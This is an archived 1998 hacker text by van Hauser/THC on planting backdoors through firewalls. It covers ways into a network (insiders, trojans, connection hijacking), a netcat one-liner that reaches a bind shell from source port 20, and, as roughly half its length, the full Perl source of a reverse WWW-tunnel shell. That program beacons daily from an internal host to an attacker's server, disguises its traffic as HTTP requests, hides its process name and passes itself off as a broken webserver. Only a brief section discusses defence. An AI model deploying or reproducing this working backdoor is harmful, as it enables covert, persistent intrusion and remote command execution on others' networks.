home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / fwbackdoor.txt < prev    next >
Encoding:
INI File  |  1998-07-17  |  30.1 KB  |  641 lines

  1. [from http://www.rootshell.com/ ]
  2.  
  3. -------------------------[  Placing Backdoors Through Firewalls
  4.  
  5. --------[  van Hauser / THC <vh@reptile.rug.ac.be>
  6.  
  7. ----[  Introduction
  8.  
  9. This article describes possible backdoors through different firewall
  10. architectures. However, the material can also be applied to other
  11. environments to describe how hackers (you?) cover their access to a system.
  12.  
  13. Hackers often want to retain access to systems they have penetrated
  14. even in the face of obstacles such as new firewalls and patched
  15. vulnerabilities.  To accomplish this the attackers must install a
  16. backdoor which a) does it's job and b) is not easily detectable. The
  17. kind of backdoor needed depends on the firewall architecture used.
  18.  
  19. As a gimmick and proof-of-concept, a nice backdoor for any kind of
  20. intrusion is included, so have fun.
  21.  
  22. ----[  Firewall Architectures
  23.  
  24. There are two basic firewall architectures and each has an enhanced version.
  25.  
  26. Packet Filters:
  27.         This is a host or router which checks each packet against an
  28.         allow/deny ruletable before routing it through the correct
  29.         interface. There are very simple ones which can only filter
  30.         from the origin host, destination host and destination port, as
  31.         well as good ones which can also decide based on incoming interface,
  32.         source port, day/time and some tcp or ip flags.
  33.         This could be a simple router, f.e. any Cisco, or a Linux
  34.         machine with firewalling activated (ipfwadm).
  35.  
  36. Stateful Filters: This is the enhanced version of a packet filter. It
  37.         still does the same checking against a rule table and only
  38.         routes if permitted, but it also keeps track of the state
  39.         information such as TCP sequence numbers.  Some pay attention
  40.         to application protocols which allows tricks such as only
  41.         opening ports to the interiour network for ftp-data channels
  42.         which were specified in a permitted ftp session.  These
  43.         filters can (more or less) get UDP packets (f.e. for DNS and
  44.         RPC) securely through the firewall. (Thats because UDP is a
  45.         stateless protocol. And it's more difficult for RPC services.)
  46.         This could be a great OpenBSD machine with the ip-filter software,
  47.         a Cisco Pix, Watchguard, or the (in)famous Checkpoint FW-1.
  48.  
  49. Proxies / Circuit Level Gateways: A proxy as a firewall host is simply
  50.         any server which has no routing activated and instead has
  51.         proxy software installed.  Examples of proxy servers which may
  52.         be used are squid for WWW, a sendmail relay configuration
  53.         and/or just a sockd.
  54.  
  55. Application Gateways:
  56.         This is the enhanced version of a proxy. Like a proxy, for every
  57.         application which should get through the firewall a software must
  58.         be installed and running to proxy it. However, the application
  59.         gateway is smart and checks every request and answer, f.e. that
  60.         an outgoing ftp only may download data but not upload any, and that
  61.         the data has got no virus, no buffer overflows are generated in
  62.         answers etc. One can argue that squid is an application
  63.         gateway, because it does many sanity checks and let you filter
  64.         stuff but it was not programmed for the installation in a secure
  65.         environment and still has/had security bugs.
  66.         A good example for a freeware kit for this kind is the TIS firewall
  67.         toolkit (fwtk).
  68.  
  69. Most firewalls that vendors sell on the market are hybrid firwalls,
  70. which means they've got more than just one type implemented; for
  71. example the IBM Firewall is a simple packet filter with socks and a
  72. few proxies.  I won't discuss which firewall product is the best,
  73. because this is not a how-to-by-a-firewall paper, but I will say this:
  74. application gateways are by far the most secure firewalls,
  75. although money, speed, special protocols, open network policies,
  76. stupidity, marketing hype and bad management might rule them out.
  77.  
  78. ----[  Getting in
  79.  
  80. Before we talk about what backdoors are the best for which firewall
  81. architecture we should shed a light on how to get through a firewall
  82. the first time. Note that getting through a firewall is not a plug-n-play
  83. thing for script-kiddies, this has to be carefully planned and done.
  84.  
  85. The four main possibilities:
  86.  
  87. Insider:
  88.         There's someone inside the company (you, girlfriend, chummer)
  89.         who installs the backdoor. This is the easiest way of course.
  90.  
  91. Vulnerable Services:
  92.         Nearly all networks offer some kind of services,
  93.         such as incoming email, WWW, or DNS. These may be on the
  94.         firewall host itself, a host in the DMZ (here: the zone in front
  95.         of the firewall, often not protected by a firewall) or on an internal
  96.         machine. If an attacker can find a hole in one of those services,
  97.         he's got good chances to get in.  You'd laugh if you saw how many
  98.         "firewalls" run sendmail for mail relaying ...
  99.  
  100. Vulnerable External Server:
  101.         People behind a firewall sometimes work on
  102.         external machines.  If an attacker can hack these, he can
  103.         cause serious mischief such as the many X attacks if the
  104.         victim uses it via an X-relay or sshd.  The attacker could
  105.         also
  106.  send fake ftp answers
  107.         to overflow a buffer in the ftp client software, replace a gif
  108.         picture on a web server with one which crashs netscape and
  109.         executes a command (I never checked if this actually works, it
  110.         crashs, yeah, but I didn't look through this if this is really
  111.         an exploitable overflow).  There are many possibilities with
  112.         this but it needs some knowledge about the company. However,
  113.         an external web server of the company is usually a good start.
  114.         Some firewalls are configured to allow incoming telnet from
  115.         some machines, so anyone can sniff these and get it. This is
  116.         particulary true for the US, where academic environments and
  117.         industry/military work close together.
  118.  
  119. Hijacking Connections:
  120.         Many companies think that if they allow incoming telnet with
  121.         some kind of secure authentication like SecureID (secure algo?, he)
  122.         they are safe. Anyone can hijack these after the authentication and
  123.         get in ... Another way of using hijacked connections is to modify
  124.         replies in the protocol implementation to generate a buffer
  125.         overflow (f.e. with X).
  126.  
  127. Trojans:
  128.         Many things can be done with a trojan horse.
  129.         This could be a gzip file which generates a buffer overflow
  130.         (well, needs an old gzip to be installed), a tar file which
  131.         tampers f.e. ~/.logout to execute something, or an executable
  132.         or source code which was modified to get the hacker in somehow.
  133.         To get someone running this, mail spoofing could be used or
  134.         replacing originals on an external server which internal employees
  135.         access to update their software regulary (ftp xfer files and www
  136.         logs can be checked to get to know which files these are).
  137.  
  138. ----[  Placing the Backdoors
  139.  
  140. An intelligent hacker will not try to put the backdoors on machines in
  141. the firewall segment, because these machines are usually monitored and
  142. checked regulary. It's the internal machines which are usually unprotected
  143. and without much administration and security checks.
  144.  
  145. I will now talk about some ideas of backdoors which could be implemented.
  146. Note that programs which will/would run on an stateful filter will of course
  147. work with a normal packet filter too, same for the proxy. Ideas for an
  148. application gateway backdoor will work for any architecture.
  149. Some of them are "active" and others "passive". "Active" backdoors are those
  150. which can be used by a hacker anytime he wishes, a "passive" one triggers
  151. itself by time/event so an attacker has to wait for this to happen.
  152.  
  153. Packet Filters:
  154.         It's hard to find a backdoor which gets through this one but does
  155.         not work for any other. The few ones which comes into my mind
  156.         is a) the ack-telnet. It works like a normal telnet/telnetd except
  157.         it does not work with the normal tcp handshake/protocol but uses
  158.         TCP ACK packets only. Because they look like they belong to an
  159.         already established (and allowed) connection, they are permitted.
  160.         This can be easily coded with the spoofit.h of Coder's Spoofit
  161.         project (http://reptile.rug.ac.be/~coder).
  162.         b) Loki from Phrack 49/51 could be used too to establish a tunnel
  163.         with icmp echo/reply packets. But some coding would be needed to
  164.         to be done.
  165.         c) daemonshell-udp is a backdoor shell via UDP
  166.            (http://r3wt.base.org  look for thc-uht1.tgz)
  167.         d) Last but not least, most "firewall systems" with only a screening
  168.         router/firewall let any incoming tcp connection from the source port
  169.         20 to a highport (>1023) through to allow the (non-passive) ftp
  170.         protocol to work. "netcat -p 20 target port-of-bindshell" is the
  171.         fastest solution for this one.
  172.  
  173. Stateful Filters:
  174.         Here a hacker must use programs which initiates the connection from
  175.         the secure network to his external 0wned server.
  176.         There are many out there which could be used:
  177.         active:  tunnel from Phrack 52.
  178.                  ssh with the -R option (much better than tunnel ... it's
  179.                  a legtimitate program on a computer and it encrypts the
  180.                  datastream).
  181.  
  182.         passive: netcat compiled with the execute option and run with a
  183.                  time option to connect to the hacker machine (ftp.avian.org).
  184.                  reverse_shell from the thc-uht1.tgz package does the same.
  185.  
  186. Proxies / Circuit Level Gateways:
  187.         If socks is used on the firewall, someone can use all those stuff
  188.         for the stateful filter and "socksify" them. (www.socks.nec.com)
  189.         For more advanced tools you'd should take a look at the application
  190.         gateway section.
  191.  
  192. Application Gateways:
  193.         Now we get down to the interesting stuff. These beasts can be
  194.         intelligent so some brain is needed.
  195.         active:  (re-)placing a cgi-script on the webserver of the company,
  196.                  which allows remote access. This is unlikely because it's
  197.                  rare that the webserver is in the network, not monitored/
  198.                  checked/audited and accessible from the internet. I hope
  199.                  nobody needs an example on such a thing ;-)
  200.                  (re-placing) a service/binary on the firewall. This is
  201.                  dangerous because those are audited regulary and sometimes
  202.                  even sniffed on permanent ...
  203.                  Loading a loadable module into the firewall kernel wich
  204.                  hides itself and gives access to it's master. The best
  205.                  solution for an active backdoor but still dangerous.
  206.  
  207.         passive: E@mail - an email account/mailer/reader is configured in a
  208.                  way to extract hidden commands in an email (X-Headers with
  209.                  weird stuff) and send them back with output if wanted/needed.
  210.                  WWW - this is hard stuff. A daemon on an internal machine
  211.                  does http requests to the internet, but the requests are
  212.                  in real the answers of commands which were issued by a
  213.                  rogue www server in a http reply. This nice and easy beast
  214.                  is presented below (->Backdoor Example: The Reverse WWW Shell)
  215.                  DNS - same concept as above but with dns queries and
  216.                  replies. Disadvantage is that it can not carry much data.
  217.                  (http://www.icon.co.za/~wosp/wosp.dns-tunnel.tar.gz, this
  218.                  example needs still much coding to be any effective)
  219.  
  220. ----[  Backdoor Example: The Reverse WWW Shell
  221.  
  222. This backdoor should work through any firewall which has got the security
  223. policy to allow users to surf the WWW (World Wide Waste) for information
  224. for the sake and profit of the company.
  225. For a better understanding take a look at the following picture and try
  226. to remember it onwards in the text:
  227.  
  228.  +--------+                    +------------+              +-------------+
  229.  |internal|--------------------|  FIREWALL  |--------------|server owned |
  230.  |  host  |  internal network  +------------+   internet   |by the hacker|
  231.  +--------+                                                +-------------+
  232.    SLAVE                                                        MASTER
  233.  
  234. Well, a program is run on the internal host, which spawns a child every day
  235. at a special time. For the firewall, this child acts like a user, using his
  236. netscape client to surf on the internet. In reality, this child executes
  237. a local shell and connects to the www server owned by the hacker on the
  238. internet via a legitimate looking http request and sends it ready signal.
  239. The legitimate looking answer of the www server owned by the hacker are
  240. in reality the commands the child will execute on it's machine it the
  241. local shell. All traffic will be converted (I'll not call this "encrypted",
  242. I'm not Micro$oft) in a Base64 like structure and given as a value for
  243. a cgi-string to prevent caching.
  244. Example of a connection:
  245.  
  246. Slave
  247. GET /cgi-bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krjVAEfg HTTP/1.0
  248.  
  249. Master replies with
  250. g5mAlfbknz
  251.  
  252. The GET of the internal host (SLAVE) is just the command prompt of the
  253. shell, the answer is an encoded "ls" command from the hacker on the
  254. external server (MASTER).
  255. Some gimmicks:
  256. The SLAVE tries to connect daily at a specified time to the MASTER if
  257. wanted; the child is spawned because if the shell hangs for whatever
  258. reason you can check & fix the next day; if an administrator sees connects
  259. to the hacker's server and connects to it himself he will just see a
  260. broken webserver because there's a Token (Password) in the encoded
  261. cgi GET request; WWW Proxies (f.e. squid) are supported; program masks
  262. it's name in the process listing ...
  263.  
  264. Best of all: master & slave program are just one 260-lines perl file ...
  265. Usage is simple: edit rwwwshell.pl for the correct values,
  266. execute  "rwwwshell.pl slave" on the SLAVE, and just run "rwwwshell.pl"
  267. on the MASTER just before it's time that the slave tries to connect.
  268.  
  269. Well, why coding it in perl? a) it was very fast to code, b) it's highly
  270. portable and c) I like it.
  271. If you want to use it on a system which hasn't got perl installed, search
  272. for a similar machine with perl install, get the a3 compiler from the perl
  273. CPAN archives and compile it to a binary. Transfer this to your target
  274. machine and run that one.
  275.  
  276. The code for this nice and easy tool is appended in the section THE CODE
  277. after my last words. If you've got updates/ideas/critics for it drop me an
  278. email. If you think this text or program is lame, write me at root@localhost.
  279. Check out http://r3wt.base.org  for updates.
  280.  
  281. ----[  Security
  282.  
  283. Now it's an interesting question how to secure a firewall to deny/detect
  284. this. It should be clear that you need a tight application gateway firewall
  285. with a strict policy. email should be put on a centralized mail server,
  286. and DNS resolving only done on the WWW/FTP proxies and access to WWW only
  287. prior proxy authentication. However, this is not enough. An attacker can
  288. tamper the mailreader to execute the commands extracted from the crypted
  289. X-Headers or implement the http authentication into the reverse www-shell
  290. (it's simple). Also checking the DNS and WWW logs/caches regulary with good
  291. tools can be defeated by switching the external servers every 3-20 calls
  292. or use aliases.
  293.  
  294. A secure solution would be to set up a second network which is
  295. connected to the internet, and the real one kept seperated - but tell
  296. this the employees ...
  297. A good firewall is a big improvement, and also an Intrusion Detection
  298. Systems can help. But nothing can stop a dedicated attacker.
  299.  
  300. ----[  Last Words
  301.  
  302. Have fun hacking/securing the systems ...
  303. Greets to all guys who like + know me ;-) and especially to those good
  304. chummers I've got, you know who you are.
  305.  
  306. Ciao...
  307.                 van Hauser / [THC] - The Hacker's Choice
  308.  
  309. For further interesting discussions you can email me at vh@reptile.rug.be
  310. with my public pgp key below :
  311.  
  312. Type Bits/KeyID    Date       User ID
  313. pub  2048/CDD6A571 1998/04/27 van Hauser / THC <vh@reptile.rug.ac.be>
  314.  
  315. -----BEGIN PGP PUBLIC KEY BLOCK-----
  316. Version: 2.6.3i
  317.  
  318. mQENAzVE0A4AAAEIAOzKPhKBDFDyeTvMKQ1xx6781tEdIYgrkrsUEL6VoJ8H8CIU
  319. SeXDuCVu3JlMKITD6nPMFJ/DT0iKHgnHUZGdCQEk/b1YHUYOcig1DPGsg3WeTX7L
  320. XL1M4DwqDvPz5QUQ+U+VHuNOUzgxfcjhHsjJj2qorVZ/T5x4k3U960CMJ11eOVNC
  321. meD/+c6a2FfLZJG0sJ/kIZ9HUkY/dvXDInOJaalQc1mYjkvfcPsSzas4ddiXiDyc
  322. QcKX+HAXIdmT7bjq5+JS6yspnBvIZC55tB7ci2axTjwpkdzJBZIkCoBlWsDXNwyq
  323. s70Lo3H9dcaNt4ubz5OMVIvJHFMCEtIGS83WpXEABRG0J3ZhbiBIYXVzZXIgLyBU
  324. SEMgPHZoQHJlcHRpbGUucnVnLmFjLmJlPokAlQMFEDVE0D7Kb9wCOxiMfQEBvpAD
  325. /3UCDgJs1CNg/zpLhRuUBlYsZ1kimb9cbB/ufL1I4lYM5WMyw+YfGN0p02oY4pVn
  326. CQN6ca5OsqeXHWfn7LxBT3lXEPCckd+vb9LPPCzuDPS/zYnOkUXgUQdPo69B04dl
  327. C9C1YXcZjplYso2q3NYnuc0lu7WVD0qT52snNUDkd19ciQEVAwUQNUTQDhLSBkvN
  328. 1qVxAQGRTwgA05OmurXHVByFcvDaBRMhX6pKbTiVKh8HdJa8IdvuqHOcYFZ2L+xZ
  329. PAQy2WCqeakvss9Xn9I28/PQZ+6TmqWUmG0qgxe5MwkaXWxszKwRsQ8hH+bcppsZ
  330. 2/Q3BxSfPege4PPwFWsajnymsnmhdVvvrt69grzJDm+iMK0WR33+RvtgjUj+i22X
  331. lpt5hLHufDatQzukMu4R84M1tbGnUCNF0wICrU4U503yCA4DT/1eMoDXI0BQXmM/
  332. Ygk9bO2Icy+lw1WPodrWmg4TJhdIgxuYlNLIu6TyqDYxjA/c525cBbdqwoE+YvUI
  333. o7CN/bJN0bKg1Y/BMTHEK3mpRLLWxVMRYw==
  334. =MdzX
  335. -----END PGP PUBLIC KEY BLOCK-----
  336.  
  337. ----[  THE CODE
  338.  
  339. <++> rwwwshell.pl
  340. #!/usr/bin/perl
  341. # Reverse-WWW-Tunnel-Backdoor v1.5
  342. # (c) 1998 by van Hauser / [THC] - The Hacker's Choice <vh@reptile.rug.ac.be>
  343. # Check out http://r3wt.base.org for updates
  344.  
  345. #
  346. # GENERAL CONFIG (except for $MASK, everything must be the same
  347. #                 for MASTER and SLAVE is this section!)
  348. #
  349. $CGI_PREFIX="/cgi-bin/order?";  # should look like cgi. "?" as last char!
  350. $MASK="vi";                     # for masking the program's process name
  351. $PASSWORD="THC";                # anything, nothing you have to rememeber
  352.                                 # (not a real "password" anyway)
  353. #
  354. # MASTER CONFIG (specific for the MASTER)
  355. #
  356. $LISTEN_PORT=8080;      # on which port to listen (80 [needs root] or 8080)
  357. $SERVER="localhost";    # the host to run on (ip/dns) (the SLAVE needs this!)
  358.  
  359. #
  360. # SLAVE CONFIG (specific for the SLAVE)
  361. #
  362. $SHELL="/bin/sh -i";    # program to execute (e.g. /bin/sh)
  363. $DELAY="3";             # time to wait for output after your command(s)
  364. $TIME="00:01";          # time when to connect to the master (unset if now)
  365. $DAILY="sure";          # tries to connect once daily if set with something
  366. $PROXY="";              # set this with the Proxy if you must use one
  367. $PROXY_PORT="";         # set this with the Proxy Port if you must use one
  368.  
  369. # END OF CONFIG         # nothing for you to do after this point #
  370.  
  371. ################## BEGIN MAIN CODE ##################
  372.  
  373. require 5.002;
  374. use Socket;
  375.  
  376. $|=1;                           # next line changes our process name
  377. if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";}  $0=$MASK; }
  378. undef $DAILY   if (! $TIME);
  379. if ( !($PROXY) || !($PROXY_PORT) ) {
  380.         undef $PROXY;
  381.         undef $PROXY_PORT;
  382. }
  383. $protocol = getprotobyname('tcp');
  384.  
  385. if ($ARGV[0] ne "") {
  386.         if ($ARGV[0] eq "-h") {
  387.                 print STDOUT "no commandline option : daemon mode\n";
  388.                 print STDOUT "using \"-h\" as option  : this help\n";
  389.                 print STDOUT "any other option      : slave mode\n";
  390.                 exit(0);
  391.         } else {
  392.                 print STDOUT "starting in slave mode\n";
  393.                 $SLAVE_MODE = "yeah";
  394.         }
  395. }
  396.  
  397. if (! $SLAVE_MODE) {
  398.         &master;
  399. } else {
  400.         &slave;
  401. }
  402. # END OF MAIN FUNCTION
  403.  
  404. ############### SLAVE FUNCTION ###############
  405.  
  406. sub slave {
  407.         $pid = 0;
  408.         if ($PROXY) {           # setting the real config (for Proxy Support)
  409.                 $REAL_SERVER = $PROXY;
  410.                 $REAL_PORT = $PROXY_PORT;
  411.                 $REAL_PREFIX = "GET http://" . $SERVER . ":" . $LISTEN_PORT
  412.                         . $CGI_PREFIX;
  413.         } else {
  414.                 $REAL_SERVER = $SERVER;
  415.                 $REAL_PORT = $LISTEN_PORT;
  416.                 $REAL_PREFIX = "GET " . $CGI_PREFIX;
  417.         }
  418. AGAIN:  if ($pid) { kill 9, $pid; }
  419.         if ($TIME) {                    # wait until the specified $TIME
  420.                 $TIME =~ s/^0//;        $TIME =~ s/:0/:/;
  421.                 (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
  422.                         = localtime(time);
  423.                 $t=$hour . ":" . $min;
  424.                 while ($TIME ne $t) {
  425.                         sleep(28); # every 28 seconds we look at the watch
  426.                         (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
  427.                                 = localtime(time);
  428.                         $t=$hour . ":" .$min;
  429.                 }
  430.         }
  431.         if ($DAILY) {                   # if we must connect daily, we
  432.                 if (fork) {             # we fork the daily shell process
  433.                         sleep(69);      # to ensure the master control proc.
  434.                         goto AGAIN;     # won't get stuck by a fucking cmd
  435.                 }                       # the user executed.
  436.         }
  437.         $address = inet_aton($REAL_SERVER) || die "can't resolve server\n";
  438.         $remote = sockaddr_in($REAL_PORT, $address);
  439.         $forked = 0;
  440. GO:     close(THC);
  441.         socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
  442.                 or die "can't create socket\n";
  443.         setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
  444.         if (! $forked) {                # fork failed? fuck, let's try again
  445.                 pipe R_IN, W_IN;        select W_IN;  $|=1;
  446.                 pipe R_OUT, W_OUT;      select W_OUT; $|=1;
  447.                 $pid = fork;
  448.                 if (! defined $pid) {
  449.                         close THC;
  450.                         close R_IN;     close W_IN;
  451.                         close R_OUT;    close W_OUT;
  452.                         goto GO;
  453.                 }
  454.                 $forked = 1;
  455.         }
  456.         if (! $pid) {           # this is the child process (execs $SHELL)
  457.                 close R_OUT;    close W_IN;     close THC;
  458.                 open STDIN,  "<&R_IN";
  459.                 open STDOUT, ">&W_OUT";
  460.                 open STDERR, ">&W_OUT";
  461.                 exec $SHELL || print W_OUT "couldn't spawn $SHELL\n";
  462.                 close R_IN;     close W_OUT;
  463.                 exit(0);
  464.         } else {                # this is the parent (data control + network)
  465.                 close R_IN;
  466.                 sleep($DELAY);  # we wait $DELAY for the commands to complete
  467.                 vec($rs, fileno(R_OUT), 1) = 1;
  468.                 select($r = $rs, undef, undef, 30);
  469.                 sleep(1);
  470.                 $output = "";
  471.                 vec($ws, fileno(W_OUT), 1) = 1;
  472.                 while (select($w = $ws, undef, undef, 1)) {
  473.                         read R_OUT, $readout, 1 || last;
  474.                         $output = $output . $readout;
  475.                 }
  476.                 print W_OUT "\000" || goto END;
  477.                 while (1) {
  478.                         read R_OUT, $readout, 1 || last;
  479.                         last  if ($readout eq "\000");
  480.                         $output = $output . $readout;
  481.                 }
  482.                 &uuencode;      # does the encoding of the shell output
  483.                 $encoded = $REAL_PREFIX . $encoded . "\n";
  484.                 connect(THC, $remote) || goto END;      # connect to master
  485.                 send (THC, $encoded, 0) || goto END;    # and send data
  486.                 $input = "";
  487.                 vec($rt, fileno(THC), 1) = 1;  # wait until master sends reply
  488.                 while (! select($r = $rt, undef, undef, 0.00001)) {}
  489.                 while (1) {             # read until EOD (End Of Data)
  490.                         recv (THC, $readin, 1, 0) || goto OK;
  491.                         goto OK  if (($readin eq "\000") or ($readin eq "\n")
  492.                                 or ($readin eq ""));
  493.                         $input = $input . $readin;
  494.                 }
  495. OK:             $input =~ s/\n//gs;
  496.                 &uudecode;              # decoding the data from the master
  497.                 goto END  if ( $decoded =~ m/^$PASSWORD/s == 0);
  498.                 $decoded =~ s/^$PASSWORD//;
  499.                 print W_IN "$decoded" || goto END;      # sending the data
  500.                 sleep(1);                               # to the shell proc.
  501.                 goto GO;
  502.         }
  503. END:    kill 9, $pid;   $pid = 0;
  504.         exit(0);
  505. } # END OF SLAVE FUNCTION
  506.  
  507. ############### MASTER FUNCTION ###############
  508.  
  509. sub master {
  510.         socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
  511.                 or die "can't create socket\n";
  512.         setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
  513.         bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n";
  514.         listen(THC, 3) || die "can't listen\n";         # print the HELP
  515.         print STDOUT '
  516. Welcome to the Reverse-WWW-Tunnel-Backdoor v1.4 by van Hauser / THC ...
  517.  
  518. Introduction:   Wait for your SLAVE to connect, examine it\'s output and then
  519.                 type in your commands to execute on SLAVE. You\'ll have to
  520.                 wait min. the set $DELAY seconds before you get the output
  521.                 and can execute the next stuff. Use ";" for multiple commands.
  522.                 Trying to execute interactive commands may give you headache
  523.                 so beware. Your SLAVE may hang until the daily connect try
  524.                 (if set - otherwise you lost).
  525.                 You also shouldn\'t try to view a binary data too ;-)
  526.                 "echo bla >> file", "cat >> file <<- EOF", sed etc. are your
  527.                 friends if you don\'t like using vi in a delayed line mode ;-)
  528.                 To exit this program on any time without doing harm to either
  529.                 MASTER or SLAVE just press Control-C.
  530.                 Now have fun.
  531. ';
  532.  
  533. YOP:    print STDOUT "\nWaiting for connect ...";
  534.         $remote=accept (S, THC)  ||  goto YOP;          # get the connection
  535.         ($r_port, $r_slave)=sockaddr_in($remote);       # and print the SLAVE
  536.         $slave=gethostbyaddr($r_slave, AF_INET);        # data.
  537.         $slave="unresolved" if ($slave eq "");
  538.         print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n";
  539.         select S;       $|=1;
  540.         select STDOUT;  $|=1;
  541.         $input = "";
  542.         vec($socks, fileno(S), 1) = 1;
  543.         while (1) {                     # read the data sent by the slave
  544.                 while (! select($r = $socks, undef, undef, 0.00001)) {}
  545.                 recv (S, $readin, 80, 0) || print STDOUT "disconnected\n";
  546.                 $readin =~ s/\r//g;
  547.                 $input = $input . $readin;
  548.                 last  if ( $input =~ m/\n\n/s );
  549.         }
  550.         &hide_as_broken_webserver  if ( $input =~ m/$CGI_PREFIX/s == 0 );
  551.         $input =~ s/^.*($CGI_PREFIX)\??//s;
  552.         $input =~ s/\n.*$//s;
  553.         &uudecode;              # decoding the data from the slave
  554.         &hide_as_broken_webserver  if ( $decoded =~ m/^$PASSWORD/s == 0 );
  555.         $decoded =~ s/^$PASSWORD//s;
  556.         $decoded = "[Warning! No output from remote!]\n>" if ($decoded eq "");
  557.         print STDOUT "$decoded";        # showing the slave output to the user
  558.         $output = <STDIN>;              # and get his input.
  559.         &uuencode;              # encode the data for the slave
  560.         send (S, $encoded, 0) || die "\nconnection lost!\n";    # and send it
  561.         close (S);
  562.         print STDOUT "sent.\n";
  563.         goto YOP;               # wait for the next connect from the slave
  564. } # END OF MASTER FUNCTION
  565.  
  566. ###################### MISC. FUNCTIONS #####################
  567.  
  568. sub uuencode {  # does the encoding stuff for error-free data transfer via WWW
  569.         $output = $PASSWORD . $output;          # PW is for error checking and
  570.         $uuencoded = pack "u", "$output";       # preventing sysadmins from
  571.         $uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-'    # sending you weird
  572.                         /'zcadefghjklmnopqrstuv'        # data. No real
  573.                         /;                              # security!
  574.         $uuencoded =~ tr/"'"/'b'/;
  575.         if ( ($PROXY) && ($SLAVE_MODE) ) {# a proxy drops the request if > 8kb
  576.                 $codelength = (length $uuencoded) + (length $REAL_PREFIX) +12;
  577.                 $cut_length = 4099 - (length $REAL_PREFIX);
  578.                 $uuencoded = pack "a$cut_length", $uuencoded
  579.                         if ($codelength > 4111);
  580.         }
  581.         $encoded = $uuencoded;
  582.         $encoded = $encoded . " HTTP/1.0\n"    if ($SLAVE_MODE);
  583. } # END OF UUENCODE FUNCTION
  584.  
  585. sub uudecode {  # does the decoding of the data stream
  586.         $input =~     tr/'zcadefghjklmnopqrstuv'
  587.                         /'\n)=(:;&><,#$*%]!\@"`\\\-'
  588.                         /;
  589.         $input =~     tr/'b'/"'"/;
  590.         $decoded = unpack "u", "$input";
  591. } # END OF UUDECODE FUNCTION
  592.  
  593. sub hide_as_broken_webserver {  # invalid request -> look like broken server
  594.         send (S, "<HTML><HEAD>\n<TITLE>404 File Not Found</TITLE>\n</HEAD>".
  595.                  "<BODY>\n<H1>File Not Found</H1>\n</BODY></HTML>\n", 0);
  596.         close S;
  597.         print STDOUT "Warning! Illegal server access!\n";   # report to user
  598.         goto YOP;
  599. } # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION
  600.  
  601. # END OF PROGRAM # (c) 1998 by <vh@reptile.rug.ac.be>
  602.  
  603. <-->
  604.  
  605. ----[  EOF
  606.  
  607. --- CUT HERE ---
  608.  
  609. Ciao...
  610.                 van Hauser / THC - [The Hacker's Choice]
  611.  
  612. THC's Webpage -> http://merlin.koeln-net.com/~plasmoid/thc
  613.  
  614. Type Bits/KeyID    Date       User ID
  615. pub  2048/CDD6A571 1998/04/27 van Hauser / THC <vh@reptile.rug.ac.be>
  616.  
  617. -----BEGIN PGP PUBLIC KEY BLOCK-----
  618. Version: 2.6.3i
  619.  
  620. mQENAzVE0A4AAAEIAOzKPhKBDFDyeTvMKQ1xx6781tEdIYgrkrsUEL6VoJ8H8CIU
  621. SeXDuCVu3JlMKITD6nPMFJ/DT0iKHgnHUZGdCQEk/b1YHUYOcig1DPGsg3WeTX7L
  622. XL1M4DwqDvPz5QUQ+U+VHuNOUzgxfcjhHsjJj2qorVZ/T5x4k3U960CMJ11eOVNC
  623. meD/+c6a2FfLZJG0sJ/kIZ9HUkY/dvXDInOJaalQc1mYjkvfcPsSzas4ddiXiDyc
  624. QcKX+HAXIdmT7bjq5+JS6yspnBvIZC55tB7ci2axTjwpkdzJBZIkCoBlWsDXNwyq
  625. s70Lo3H9dcaNt4ubz5OMVIvJHFMCEtIGS83WpXEABRG0J3ZhbiBIYXVzZXIgLyBU
  626. SEMgPHZoQHJlcHRpbGUucnVnLmFjLmJlPokAlQMFEDVE0D7Kb9wCOxiMfQEBvpAD
  627. /3UCDgJs1CNg/zpLhRuUBlYsZ1kimb9cbB/ufL1I4lYM5WMyw+YfGN0p02oY4pVn
  628. CQN6ca5OsqeXHWfn7LxBT3lXEPCckd+vb9LPPCzuDPS/zYnOkUXgUQdPo69B04dl
  629. C9C1YXcZjplYso2q3NYnuc0lu7WVD0qT52snNUDkd19ciQEVAwUQNUTQDhLSBkvN
  630. 1qVxAQGRTwgA05OmurXHVByFcvDaBRMhX6pKbTiVKh8HdJa8IdvuqHOcYFZ2L+xZ
  631. PAQy2WCqeakvss9Xn9I28/PQZ+6TmqWUmG0qgxe5MwkaXWxszKwRsQ8hH+bcppsZ
  632. 2/Q3BxSfPege4PPwFWsajnymsnmhdVvvrt69grzJDm+iMK0WR33+RvtgjUj+i22X
  633. lpt5hLHufDatQzukMu4R84M1tbGnUCNF0wICrU4U503yCA4DT/1eMoDXI0BQXmM/
  634. Ygk9bO2Icy+lw1WPodrWmg4TJhdIgxuYlNLIu6TyqDYxjA/c525cBbdqwoE+YvUI
  635. o7CN/bJN0bKg1Y/BMTHEK3mpRLLWxVMRYw==
  636. =MdzX
  637. -----END PGP PUBLIC KEY BLOCK-----
  638.  
  639. ---------------------------------------------------------------------------
  640. ⌐ 1998 Rootshell - Unauthorized duplication prohibited.
  641.